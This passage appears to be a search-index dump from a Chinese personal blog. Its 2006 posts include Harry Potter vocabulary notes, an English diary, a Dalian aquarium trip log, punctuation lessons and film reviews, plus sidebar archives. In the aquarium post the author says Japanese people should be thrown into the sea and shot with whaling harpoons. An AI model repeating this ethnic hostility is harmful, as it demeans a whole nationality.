his letter, which was written on the same heavy parchment as the envelope, when it was jerked sharply out of his hand by Uncle Vernon.\nParchment – 羊皮纸，给小说增加了神秘感\nJerk – 猛拉\nShe jerked the rope but it wouldn\u0026rsquo;t move.\nShe jerked out the knife that was stuck in the wood.\n6．His face went from red to green faster than a set of traffic lights. And it didn\u0026rsquo;t stop there. Within seconds it was the grayish white of old porridge.\n关于人脸色变化的描写\nGrayish – 浅灰色的\nPorridge – 麦片粥\n7．Five minutes to go. Harry heard something creak outside. He hoped the roof wasn\u0026rsquo;t going to fall in, although he might be warmer if it did.\nFour minutes to go. Maybe the house in Privet Drive would be so full of letters when they got back that he\u0026rsquo;d be able to steal one somehow.\nFive minutes to go;\nFour minutes to go;\n…\n倒计时\nCreak 吱吱作响\n附录:\nHarry Potter and the Sorcerer\u0026rsquo;s Stone读书笔记Part1\n","permalink":"https://tonybai.com/2006/08/12/harry-potter-and-the-sorcerers-stone-reading-notes-part2/","summary":"\u003cp\u003eCHAPTER TWO – THE VANISHING GLASS\u003cbr\u003e\n1．The photographs showed a large blond boy riding his first bicycle, on a carousel at the fair, playing a computer game with his father, being hugged and kissed by his mother. The room held no sign at all that another boy lived in the house, too.\u003c/p\u003e\n\u003cp\u003eCarousel -喧闹的酒会\u003cbr\u003e\nFair – 展览会\u003cbr\u003e\nThe room held no sign at all that another boy lived in the house. 没有任何迹象显示有另一个男孩儿也住在这个屋子里。\u003c/p\u003e","title":"Harry Potter and the Sorcerer's Stone读书笔记Part2"},{"content":"CHAPTER ONE – THE BOY WHO LIVED\n1．Sorcerer – One who practices sorcery; a wizard.\n这是Harry Potter的身份，一个巫师，一个男巫师；对应的女巫师为Sorceress.\n2．The boy who lived.\n这里的’lived’是’活着’的意思而不是’居住’，这里它是一个不及物动词(vi)，我们可以再举几个相同的例子：\nMy grandfather is still living.\nKings in history wanted to live forever, but none of them succeeded.\nLive and Learn! 活到老,学到老.\n3．Mr. and Mrs. Dursley, of number four, Privet Drive, were proud to say that they were perfectly normal, thank you very much.\n这里的’Of number four, Privet Drive’是Dursley家的住址，Drive在字典中有’机动车道’的意思，如果这样的话Dursley家就临着这条4号Privet Drive’机动车道。Privet是欧洲的一种叫’女贞’的植物，这里大可不必翻译为’女贞大街’，可直接使用音译，其中文版好像用的就是其音译’普里怀特’。\n4．They were the last people you’d expect to be involved in anything strange or mysterious, because they just didn’t hold with such nonsense.\n这里的’There were the last people … to be involved in anything strange or mysterious,’意思就是’他们最不希望被卷入到任何奇怪或者神秘的事情中’; ‘hold with’ 有容忍的意思，而’nonsense’则有’无稽之谈’、’胡说’之意。所以整个意思就是’他们不相信这些无稽之谈’。\n5．He was a big, beefy man with hardly any neck, although he did have a very large mustache. Mrs. Dursley was thin and blonde and had nearly twice the usual amount of neck, which came in very useful as she spent so much of her time craning over garden fences, spying on the neighbors. The Dursleys had a small son called Dudley and in their opinion there was no finer boy anywhere.\nBeefy: 结实的、粗壮的。\nBlonde: 金发碧眼的。\n通过读这段对Dursley一家人的描写，大家也基本上能猜测出Dursley一家人的德行了^_^。\n6．They hadn’t met for several years.\n整篇故事以’一般过去时’贯穿，所以这里使用过去完成时大家该很容易理解。\n7．In fact, Mrs. Dursley pretended she didn’t have a sister, because her sister and her good-for-nothing husband were as unDursleyish as it was possible to be.\nGood-for-nothing – Having little worth; useless. 无用的, 像饭桶般的\n如：Get out of here, you good-for-nothing fool!\n8．The Dursleys shuddered to think what the neighbors would say if the Potters arrived in the street.\n这是一个’过去将来时’的句子；\nShudder: 战栗、发抖。\n9．None of them noticed a large, tawny owl flutter past the window.\nTawny: 茶色的;\nOwl: 猫头鹰;\nFlutter: 拍翅地飞行。\n猫头鹰出现了，离我们的主人公出现就不远了。\n10．Mr. Dursley picked up his briefcase, pecked Mrs. Dursley on the cheek, and tried to kiss Dudley good-bye but missed, because Dudley was now having a tantrum and throwing his cereal at the walls.\nPeck somebody on the cheek: 匆匆的吻一下…面颊\nKiss somebody good-bye: 吻别^_^\nHave a tantrum: 发脾气\n11．Mr. Dursley blinked and stared at the cat.\n这是人们的一个常见的动作序列，’眨眨眼睛，再凝视’。\n12．As he drove toward town he thought of nothing except a large order of drills he was hoping to get that day.\nThink of something;\nNothing except …;\nAn order of …; 什么的订单\n13．But on the edge of town, drills were driven out of his mind by something else.\nA Be driven out of somebody’s mind by B. 关于A的想法被B事情所替代了。\n14．He drummed his fingers on the steering wheel.\n他的手指敲击着方向盘。\nDrum: To perform (a piece or tune) on or as if on a drum. 好象击鼓演奏\n15．Mr. Dursley stopped dead. Fear flooded him.\nFear flooded him. 很好的一个句子，大家要牢记。Fear像洪水一般，足可见Dursley恐惧的程度。\n16． He dashed back across the road, hurried up to his office, snapped at his secretary not to disturb him, seized his telephone, and had almost finished dialing his home number when he changed his mind.\n这一连串的动作描写很是传神亚, 专业作家笔下的文字和我们平时看到的就是不一样。\nDash: 飞跑\nSnap at somebody: 厉声对…说\nSeize something: 抓住\n17．Even Muggles like yourself should be celebrating, this happy, happy day!\nMuggle: 这里就应该指不会巫术的人，至于这个词估计是作者罗琳缔造的。\n18．Shooting star、Bonfire、Whisper\nShooting star: 流星\nBonfire: 大篝火, 营火\nWhisper: 私语\n19．You haven’t heard from your sister lately, have you?\n还记得现在完成时的反问句如何构成么？这句帮你回顾一下。\n20．”Funny stuff on the new,” Mr. Dursley mumbled. \u0026ldquo;Owls… shooting\nstars… and there were a lot of funny-looking people in town today…\u0026rdquo;.\nStuff 使用率极高的一个单词，其能指带的东西也很广，如：\nThere’s some white stuff on this plate. 这个盘子上有些白色的东西。\nDon’t give me that stuff about being tired. 不要对我说累了之类的话。\nMumble喃喃而语, 咕哝\nIn town – 在城里, 类似的还有：\nDown town – (从郊区或郊外高地)进城\nUptown – 住宅区\nDowntown – 中心商业区\n21．\u0026ldquo;What’s his name again? Howard, isn’t it?\u0026rdquo;\n当我们记不清某个人的名字的时候，我们也可以这么来确认：\nWhat’s the name of this guy in red? Tom, isn’t it?\n22．While Mrs. Dursley was in the bathroom, Mr. Dursley crept to the bedroom window and peered down into the front garden.\nCreep – 蹑手蹑脚, 蹑足前进\nPeer – 凝视，前面我们提到stare也有凝视的意思。\n23．How very wrong he was.\nVery加强这句的色彩，’他真是大错特错了’。\n24．Nothing like this man had ever been seen on Privet Drive. He was tall, thin, and very old, judging by the silver of his hair and beard, which were both long enough to tuck into his belt. He was wearing long robes, a purple cloak that swept the ground, and high-heeled, buckled boots. His blue eyes were light, bright, and sparkling behind half-moon spectacles and his nose was very long and crooked, as though it had been broken at\nleast twice. This man’s name was Albus Dumbledore.\n这段话都是描述一个伟大的男巫师 – Albus Dumbledore的，多读上几遍，记住他的样子。\nHis nose was very long and crooked, as though it had been broken at least twice. 一种常见的虚拟语气手法。… as if/though …。\n25．Lighter、flicker、Pop、Pinprick、beady-eyed和Pavement\nCigarette Lighter – 打火机\nFlicker -使摇曳使摇摆不定地动He flicked the cigartte lighter open.\nPop -砰的响声The nearest street lamp went out with a little pop.\nPinprick -小孔The only lights left on the whole street were two tiny pinpricks in the distance, which were the eyes of a cat.\nBeady-eyed -目光锐利的\nPavement – 公路、人行道\n26．Fancy seeing you here, Professor McGonagall.\nFancy seeing you here. 想不到在这儿见到你了, 很常见的一句寒暄用语。\n27．\u0026ldquo;But that’s no reason to lose our heads. People are being downright careless, out on the streets in broad daylight, not even dressed in Muggle clothes, swapping rumors.\u0026rdquo;\nLose one’s head 失去理智，疯狂的\nDownright 完全地、彻底地He was downright rude to me.\nIn broad daylight/day 在大白天\n28．It all gets so confusing if we keep saying ‘You-Know-Who.’ I have never seen any reason to be frightened of saying Voldemort’s name.\n两个很好的句型：\nIt gets confusing if ….\nI have never seen any reason to be frightened of doing something.\nVoldemort – 本小说中最恐怖、最黑暗的男巫师.\n29．Everyone knows you’re the only one You-Know- oh, all right, Voldemort, was frightened of.\u0026quot;\n\u0026ldquo;You flatter me,\u0026rdquo; said Dumbledore calmly. \u0026ldquo;Voldemort had powers I will never have.\u0026rdquo;\n交代出Dumbledore的威力，连Voldemort都惧怕三分。但是Voldemort有着Dumbledore所不具备也不愿意具备的’邪恶和欲望’。\nFlatter – 过分夸赞。Oh, you flatter me.\n30．It’s just astounding… of all the things to stop him… but how in the name of heaven did Harry survive?\u0026quot;\nAstounding -令人惊骇的\nIn the name of – 以…的名义\n31．They’re the only family he has left now. 他们是Harry剩下的唯一的亲人了。\n32．I would trust Hagrid with my life,\u0026quot; said Dumbledore. 我可以用我的生命担保。\n33．If the motorcycle was huge, it was nothing to the man sitting astride it.\n如果说这辆摩托是巨型的话，那么它跟坐在上面的人比起来简直不算什么。\nAstride – 跨着 Astride a horse跨着马\n34．Wiping his streaming eyes on his jacket sleeve, Hagrid swung himself onto the motorcycle and kicked the engine into life; with a roar it rose into the air and off into the night.\n又是一连串传神的动作描写，wipe-\u0026gt; swing-\u0026gt; kick.\n","permalink":"https://tonybai.com/2006/08/11/harry-potter-and-the-sorcerers-stone-reading-notes-part1/","summary":"\u003cp\u003eCHAPTER ONE – THE BOY WHO LIVED\u003cbr\u003e\n1．Sorcerer – One who practices sorcery; a wizard.\u003cbr\u003e\n这是Harry Potter的身份，一个巫师，一个男巫师；对应的女巫师为Sorceress.\u003c/p\u003e\n\u003cp\u003e2．The boy who lived.\u003cbr\u003e\n这里的’lived’是’活着’的意思而不是’居住’，这里它是一个不及物动词(vi)，我们可以再举几个相同的例子：\u003cbr\u003e\nMy grandfather is still living.\u003cbr\u003e\nKings in history wanted to live forever, but none of them succeeded.\u003cbr\u003e\nLive and Learn! 活到老,学到老.\u003c/p\u003e","title":"Harry Potter and the Sorcerer's Stone读书笔记Part1"},{"content":"Today is a little cooler in Dalian and everything goes well.\nAlex brought us a topic about stock market, I didn\u0026rsquo;t speak much in class, because I have little interest in that issue, but I do learn a lot of new words. After the class Alex told us he was happy for his first being paid during the latest 2 months and he did not have any classes in the coming semester until this October. When he first came to the school and saw so many college students were doing an army training, he wondered what on earth the place was.\nDuring the lunch I heard that a super typhoon \u0026lsquo;Saomao\u0026rsquo; was landing on Fujian Province this afternoon or tonight. I had never heard about the \u0026lsquo;super typhoon\u0026rsquo;. According to the introduction by an expert of China Central Weather Bureau, \u0026lsquo;Super Typhoon\u0026rsquo; is more powerful than the ordinary typhoon, and its central wind speed can be up to 17, that is 216 km per hour. We know that the central wind speed of an ordinary typhoon is always less than 13. So how terrible the super typhoon is! Hundreds of thousands of people in Fujian had been moved to some safer places. What we can do now is to say \u0026lsquo;Good luck\u0026rsquo;.\nAppendix:\nMy English Diary Starts From Scratch\n","permalink":"https://tonybai.com/2006/08/11/warning-super-typhoon-is-coming/","summary":"\u003cp\u003eToday is a little cooler in Dalian and everything goes well.\u003c/p\u003e\n\u003cp\u003eAlex brought us a topic about stock market, I didn\u0026rsquo;t speak much in class, because I have little interest in that issue, but I do learn a lot of new words. After the class Alex told us he was happy for his first being paid during the latest 2 months and he did not have any classes in the coming semester until this October. When he first came to the school and saw so many college students were doing an army training, he wondered what on earth the place was.\u003c/p\u003e","title":"Warning: Super Typhoon is coming!"},{"content":"I have been thinking of writing my English diary for a long time, but I do have no idea what I should write down. I have been studying English in Dalian for almost one and half a month and I really don’t know whether I’ve made any progress in English. Now, I have a feeling that there are a bunch of things for me to study, such as classic English sentence patterns, a huge amount of unfamiliar words, one-minute VOA headline listening practice, and so on. There is a saying: no pain, no gain. Although the process of English studying is a little boring, I must study English well, for me, for my career, and for my future.\nI extremely agree with Li Yang, who is the inventor of the theory of ‘Crazy English’. I am reading the ‘Crack Series’ books written by Li yang and they’ve been very helpful. According to his theory, the English studying should be a sentence-centralized process and you can learn grammar, vocabulary and pronunciation from sentences; moreover, Li Yang has a special way to correct your pronunciation, which is called ’3-most’. Li Yang suggests that when you practice pronunciation, please speak most loudly, most quickly and most clear, and he is sure that you will make a great achievement if you can insist on doing as many practices as you can in that way. It does make sense. I notice that I get a little progress in my pronunciation. It’s not much because I have insisted on practice in this way for only 3 days.\nIt has been sunny for several days in Dalian and it’s very hot and it sucks. Everyday I have to take a cool-water bath to make me comfortable. I wish it would be cooler tomorrow.\nI started to read ‘Harry Potter’ yesterday. The day before yesterday when I told Alex I was going to read ‘Harry Potter’, He looked at me surprisingly and said “Really?” I guess that in his opinion the book is for teenagers rather than people of the same age as me. Now I have read several pages of that book and I found that it is still not that easy for me and I can still learn lots of knowledge from the book. During the reading I write something as my reading notes and I’m going to share these notes on my blog someday. I want to thank J.K. Rowling, the author of ‘Harry Potter’, very much for her giving us such a great story.\nI’m sorry that I haven’t updated my blog for a long time. The ‘lost-blog’ event has made me very disappointed these days. And so far many logs of July have still not been recovered. I have to wait, wait, and wait. Blogbus! Help me, please!\n","permalink":"https://tonybai.com/2006/08/10/my-english-diary-starts-from-scratch/","summary":"\u003cp\u003eI have been thinking of writing my English diary for a long time, but I do have no idea what I should write down. I have been studying English in Dalian for almost one and half a month and I really don’t know whether I’ve made any progress in English. Now, I have a feeling that there are a bunch of things for me to study, such as classic English sentence patterns, a huge amount of unfamiliar words, one-minute VOA headline listening practice, and so on. There is a saying: no pain, no gain. Although the process of English studying is a little boring, I must study English well, for me, for my career, and for my future.\u003c/p\u003e","title":"My English Diary Starts From Scratch"},{"content":"来到大连之后只是到过Free的星海公园和星海广场玩过，大连最有名的海洋馆和极地馆我和GF还没去过，今天的计划就是到大连一著名的旅游景点老虎滩去玩。\n大连的天气多变，早上起来，外面还是雾气蒙蒙，看起来要下雨的样子，出去的时候还弄了一身雾水。不过不管它了，也许中午太阳出来后，雾就能散去呢，不过大连真的是有大雾一天都散不去的情况。我们住在育明高中附近，去老虎滩得转车，不过很方便，只需在育明高中这坐533中巴，然后再到奥林匹克广场转4路bus即可。大连的中巴比沈阳的那些4开头的小巴要好上不是一点半点，中巴也和一般大公交车一样可以刷卡、有报站服务等等，很是舒服。在大连中巴是大巴的补充，一般大巴走干线路，而中巴就穿居民区。\n昨晚到超市买了很多食品和水，预备好在老虎滩享用，整整装了满满一包：\n满载食品和水的背包\n一路无话，顺利到达老虎滩乐园，由于正逢暑假期间，这里真是人山人海亚。刚一下车就有人主动和你搭讪，说提供便宜门票，一般都说他们是通过旅行社买票的，由于以前上过类似的当，所以我们一般在第一次去一个新的景点时都是在正规窗口购买门票。排了一会儿队，轮到我们了。一打听，原来所有的票都是套票，我们选了极地管+鸟语林+珊瑚馆+大门门票，每个人150大元，也真够贵的了。\n冲入乐园，首当其冲的就是极地管，人很多，毕竟这是招牌项目，毫不犹豫，刷卡进入管内，内部很暗。我们先在门口处用相机试拍了几张，效果不是很好，不知道是我们的Sony T5是傻瓜型的原因呢，还是我们设置不对的原因，尝试了几种场景模式都不甚理想。最终选择了自动模式，管它呢。\n按照顺序，在一层馆入口处首先是一些静态模型和实物展区，包括爱斯基摩人的雪橇、南极石、南极探险装备等，看看这些就当长长知识吧。\n往里面走进入极地动物展区了，首先映入眼帘的就是极地馆的招牌菜-白鲸，也是我最喜欢的海洋生物了，两条白鲸真是可爱，在大水槽中游来游去，摆出各种姿势和表情，好像天生就是一模特儿，尽情享受着游客们的拍照，由于有玻璃相隔，所以一旦打开闪光灯，水槽里面的东西就都看不清了，我们只能舍弃闪光灯，这样反倒能看到泳姿优美的白鲸：\n极地馆招牌菜-白鲸1\n极地馆招牌菜-白鲸2\n看了关于白鲸的介绍后，像鲸这样的海洋哺乳动物越来越受着人类活动的影响，像日本这样变态的国家每年捕的鲸鱼不计其数，真TMD没人性。就该把日本人都扔到大海里，然后拿捕鲸炮轰才解恨，多么可爱又可怜的鲸鱼亚。\n在白鲸的旁边有海豹、海狮、海狗、海濑等，这些动物可没有白鲸那么可爱，其中一只海狮就在里面一直怒吼着。相反在旁边的北极熊和南极帝企鹅倒是显得很安静。\n南极帝企鹅\n北极熊\n帝企鹅安静的出奇，几只企鹅在那里一动不动，不知道的会以为里面都是模型呢，要不是一只企鹅从屁股处排泄出一种乳白色的液体我们还真会认为里面的都是假企鹅。不过也难怪背井离乡几千公里来到温带，天天被人观赏，心里真不是滋味。两只北极熊则在那不停的散步，现在的北极熊毛呈淡黄色，估计也是久久离开北极了，其保护色的机能有所下降了。\n一层的极地动物看完后，我们上了2楼，楼上是海洋动物展示区，各种各样的鱼类，奇形怪状的。这里仅拍了一个草海龙：\n草海龙\n在二层逛了一会儿后，鲸豚表演开始了。我们遂跑到中心表演厅看表演，中央表演厅被黑压压的人给挤满了。在极地馆仅仅进行白鲸和海豚的表演，其他的海兽表演要到其他馆才能看到，不过鲸豚表演应该是最精彩的。由于离得很远，拍了几张照片，效果不是很好。\n极地馆招牌菜-白鲸3\n极地馆招牌菜-白鲸4\n海豚顶球\n海豚呼拉圈1\n海豚呼拉圈2\n鲸和豚都是最最聪明的海洋动物了，在驯养员的驯养下他们变得更加聪明和可爱了，整场表演掌声不断。\n出了极地馆，我们沿着海走，这时候正如我的预料，雾散了，火辣辣的太阳在头顶上炫耀着其强大的威力。之后我们到了’鸟语林’，这是一座依着一座山包建的人工鸟禽类园区，整座园上空都用大网罩住。林区中有很多珍禽异兽，大部分我都不认识。我们在里面又恰好看了一场’鹦鹉表演’，鹦鹉在人的驯养下也是很聪明的。\n进行算术表演的金刚鹦鹉\n进行轮滑表演的白鹦鹉\n如果你想整个走完’鸟语林’还是很费体力的，我们走了估计一半的林区就放弃了。林区内的东西很贵，一瓶康师傅矿泉水要3元钱，要知道在加乐福一瓶最低的时候是0.64元。\n珊瑚馆是我们最后去的主题馆区，里面的展示以珊瑚为主，还有一些以珊瑚为家的小海底生物，如一些虾、蟹等。在入口处有一个大海龟池，其中有一个很大的海龟，估计有很大龟龄了，被人摸来摸去，龟背上铺满了人们投掷的人民币，甚至有100元的大额钞票。这头龟也真够可怜的。在离出口处不远有一处室内潜水的娱乐项目，每人100元/10分钟，蛮贵的，没看到有人玩。\n拖着疲惫的身体出了老虎滩\n","permalink":"https://tonybai.com/2006/07/31/dalian-trip-notes-tiger-beach/","summary":"\u003cp\u003e来到大连之后只是到过Free的星海公园和星海广场玩过，大连最有名的海洋馆和极地馆我和GF还没去过，今天的计划就是到大连一著名的旅游景点老虎滩去玩。\u003c/p\u003e","title":"大连生活记-老虎滩乐园篇"},{"content":"最近南方台风肆虐，不知道是不是大连也受到了影响，天气也很糟糕，特别凉。今天由于两个同事临时有事回沈城了，我们就决定暂时休息一天。顺便抽出时间复习一下前段时间学习的内容。\n在上次写作课上，Michael给我们讲了一下如何在正式写作中给句子加标点，的确这各问题让我们很头疼。他给我们举了三个例子：\n[Ex.]\n(1) It’s too far to walk to school it is snowing.\n(2) It’s too far to walk to school, it is snowing.\n(3) It’s too far to walk to school, moreover, it is snowing.\n看看上面的三个句子有哪些错误：\n句子(1)中间缺少标点(No punctuation)；\n句子(2)使用’,\u0026lsquo;来分割两个完整的并列句，不符合标准语法(Tow or more complete sentences joined by comma)；\n句子(3)使用了一个副词moreover来连接两个并列句，但是标点有问题。(Two complete sentences joined by adverbs incorrectly punctuated)\n那么我们如何来修正上面的句子呢，我们可以有若干方法:\n(1) It’s too far to walk to school; It is snowing.\n(2) It’s too far to walk to school, and it is snowing.\n(3) It’s too far to walk to school; moreover, it is snowing.\n总结一下连接两个简单句(并列句)的方法有几种：\n假设A、B为两个简单句\n1、A ; B\n2、A, conj(and/but/so) B\n3、A; adv(moreover/however/therefore/thus), B\n还有一种叫复合句，复合句的标点相对简单，一般是：\n主句, if/when/because + 从句\n或者 If/When/Because + 从句，主句\n","permalink":"https://tonybai.com/2006/07/28/english-train-notes-20060728/","summary":"\u003cp\u003e最近南方台风肆虐，不知道是不是大连也受到了影响，天气也很糟糕，特别凉。今天由于两个同事临时有事回沈城了，我们就决定暂时休息一天。顺便抽出时间复习一下前段时间学习的内容。\u003c/p\u003e","title":"英语培训日记20060728"},{"content":"周二各大影院均半票，客居异乡也没有什么好的休闲项目，看电影就是我们最好的选择了。前不久上映的暑期档大片’Superman Returns’自然是我们的首选，尽管现在’谍中谍3′正在热映，但从心里来讲’超人’具有无可比拟的魅力。由于’超人’已经过了首映周，自然’沦落’到小厅中播放了，我们选择了’英文版+中文字幕’的观看方式，这好像也是第一次在电影院中看’英文版’，在沈城我还没见到过放映英文版的。\n记得那是在小时候每周日中央二套’正大综艺’之后’译制片影院’中第一次看’超人’系列电影，这系列电影让儿时我的想象力有了很大的’升华’，隔了很长一段时间后，直到上大学后才重温了超人系列。去年有一部美国电视剧叫’Small Village’，讲述的是超人年轻时候的故事，当然和超人电影系列已经’风马牛不相及’了，不过感觉尚可，毕竟是讲超人的。在’超人’系列电影因克里斯托弗的瘫痪(这位前超人扮演者已经永远的离开了我们)而中断了好多年后，一些关于超人极其家族的卡通片倒是盛行，我们熟知的’超人总动员’、’超人学校’也都各有特色。人们在欣赏这些超人相关影片的同时也始终不忘’超人’真正的回归。今年暑期档，超人真的回来了，而影片名字也恰好叫’Superman Returns’，颇有些异曲同工之意。\n坐在宽阔的播映厅里，当耳边响起那熟悉的超人音乐时，心里有种莫名的兴奋。当镜头在宇宙空间穿梭的时候，真是觉得自己好像就坐在一艘宇宙飞船上似的。行星爆炸、飞船坠落等一系列声效让我们不由得秉住呼吸，这时一个新的面孔出现在我们眼前，新一代超人，一个帅气的年轻人，他和上一代超人还颇有些形似。开篇阶段超人的台词不多，加上语速较快，实在是没有听清，让我略感失望，以为华纳公司仅仅是找了个’花瓶’超人呢。随着剧情的深入，’超人’台词越来越多，演技也充分展现出来，虽不能说完全令人满意，但是对于一个刚出道饰演超人的年轻演员来说，我们又能苛求什么呢。\n也许这部戏中给人最大的惊奇就是那个有着哮喘病的露易斯.雷恩的孩子了。当莱克斯.卢瑟用矿石试探小孩的时候，我想很多观众都会猜测到什么。直到那个小孩推动钢琴将其中一个莱克斯.卢瑟的帮凶压死后，人们就可以断定：超人有后代了，而且这个后代已经进化了，他已经不再惧怕放射性矿石了。在影片最后超人在小孩子床前的话让人们对下一部充满了期待。超人不再孤独了，也许’超人家族’并肩作战的时候离我们不远了。\n影片除了更多表现超人的’Hero’行为和超能力之外，还插入些许灾难场景，使场面更加壮观，欣赏性更强了。\n出了电影院，大脑中仍然重现着一些关键的镜头和一些关键的台词，突然有了一种期望重拍超人的想法。毕竟第一部超人很早就拍摄了，鉴于那时的科技水平，肯定不能与现在相比，而且后几部超人电影有滥竽充数的嫌疑，我想’超人Fans’们都会期望完整的重新整理剧本，从头到尾将超人系列电影翻新一遍，那必将是超人Fans的幸福时刻。\n","permalink":"https://tonybai.com/2006/07/26/superman-returns/","summary":"\u003cp\u003e周二各大影院均半票，客居异乡也没有什么好的休闲项目，看电影就是我们最好的选择了。前不久上映的暑期档大片’Superman Returns’自然是我们的首选，尽管现在’谍中谍3′正在热映，但从心里来讲’超人’具有无可比拟的魅力。由于’超人’已经过了首映周，自然’沦落’到小厅中播放了，我们选择了’英文版+中文字幕’的观看方式，这好像也是第一次在电影院中看’英文版’，在沈城我还没见到过放映英文版的。\u003c/p\u003e","title":"Superman Returns"},{"content":"最近在上映一部国产电影叫’疯狂的石头’，又名’贼中贼’，如果听到前面的名字肯定对该片讲述的故事一头雾水，而后面的名字倒是真实反映了片中的故事。很多人不喜欢看国产片，以为不好看，不过这部’疯狂的石头’是例外，建议大家看看，很不错的，即使不到电影院去看，也要买张牒看看。\n我就是和同事一起看的牒版，这种故事片无需太好的音响效果，所以在家看也不错，当然如果能去影院看那就更好不过了。一部国产的影片能吸引观众我想有这么几点：\n1、充分发挥国产电影的强项 — 本地化剧情\n国产电影无论从投入规模还是技术手段上和好莱坞电影都不是在一个档次上的，所以只能发挥我们本地化剧情上的优势了，有新意的剧情往往都能收获到票房上意想不到的结果。该片在剧情上也算是颇下了功夫的。\n2、经典台词\n回顾下以往的国产电影凡是能在群众中有很好口碑的影片都是在台词上下很大功夫的影片，如’手机’、’甲方乙方’等等。’疯狂的石头’也注意到了这点，相信看完该片的朋友们一定记住了那个国际大盗的口头语吧–’顶你个肺哟’。\n3、新颖的剪辑\n当该片放映到第10分钟左右的时候，估计很多人都会很欣赏导演的新颖的剪辑手法，也许在整个世界范围内，这种手法不够新颖，但是在国内市场平庸泛滥的今天，偶尔看一看这种方式，的确会觉得耳目一新。\n‘疯狂的石头’在引起观众的发笑的同时，实际上更多的是影射社会问题，引发人们更加深刻的思考。再次建议大家看看此片。\n","permalink":"https://tonybai.com/2006/07/26/good-film-crazy-stone/","summary":"\u003cp\u003e最近在上映一部国产电影叫’疯狂的石头’，又名’贼中贼’，如果听到前面的名字肯定对该片讲述的故事一头雾水，而后面的名字倒是真实反映了片中的故事。很多人不喜欢看国产片，以为不好看，不过这部’疯狂的石头’是例外，建议大家看看，很不错的，即使不到电影院去看，也要买张牒看看。\u003c/p\u003e","title":"又一部国产好剧-疯狂的石头"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 